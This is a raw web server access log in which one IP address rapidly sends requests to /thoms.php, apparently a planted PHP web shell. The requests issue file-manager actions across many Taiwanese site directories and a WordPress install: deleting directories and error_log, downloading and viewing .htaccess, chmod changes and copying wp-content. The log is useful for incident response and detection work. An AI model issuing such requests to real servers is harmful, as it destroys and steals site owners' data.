45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 11637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 11638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=mah.php&p= HTTP/1.1" 200 11622 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?dl=mah.php&p= HTTP/1.1" 200 16279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?del=upgrade&p= HTTP/1.1" 200 16280 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?del=error_log&p= HTTP/1.1" 200 16265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 11633 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 11639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 11638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16282 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 16271 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 16270 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?del=mah.php&p= HTTP/1.1" 200 16271 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 16256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 11639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?del=cgi-bin&p= HTTP/1.1" 200 16272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 11638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 16277 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?dl=error_log&p= HTTP/1.1" 200 16281 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 11637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 11637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 11647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 11594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 16273 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 16829 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17588 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:42 -0400] "GET /thoms.php?p=&view=mah.php HTTP/1.1" 200 11752 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?copy=error_log&p= HTTP/1.1" 200 11578 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 16280 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=&view=.htaccess HTTP/1.1" 200 11930 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET / HTTP/1.1" 200 1815 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 11632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?del=.htaccess&p= HTTP/1.1" 200 16272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=&upload= HTTP/1.1" 200 12107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 16239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?dl=.htaccess&p= HTTP/1.1" 200 16281 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 11640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 16269 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 16279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=&settings=1 HTTP/1.1" 200 11839 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?copy=upgrade&p= HTTP/1.1" 200 11632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?chmod=thoms.php&p= HTTP/1.1" 200 11424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17531 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 16272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17419 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?del=thoms.php&p= HTTP/1.1" 200 16271 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 17357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 16271 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?copy=wp-content&p= HTTP/1.1" 200 11623 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:43 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 11635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=ba-guo.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16379 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16378 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=cgi-bin HTTP/1.1" 200 11301 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:44 -0400] "GET /thoms.php?copy=wp-content&p=betcity.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=wp-content HTTP/1.1" 200 11330 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=wp-content&p=upgrade HTTP/1.1" 200 11300 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
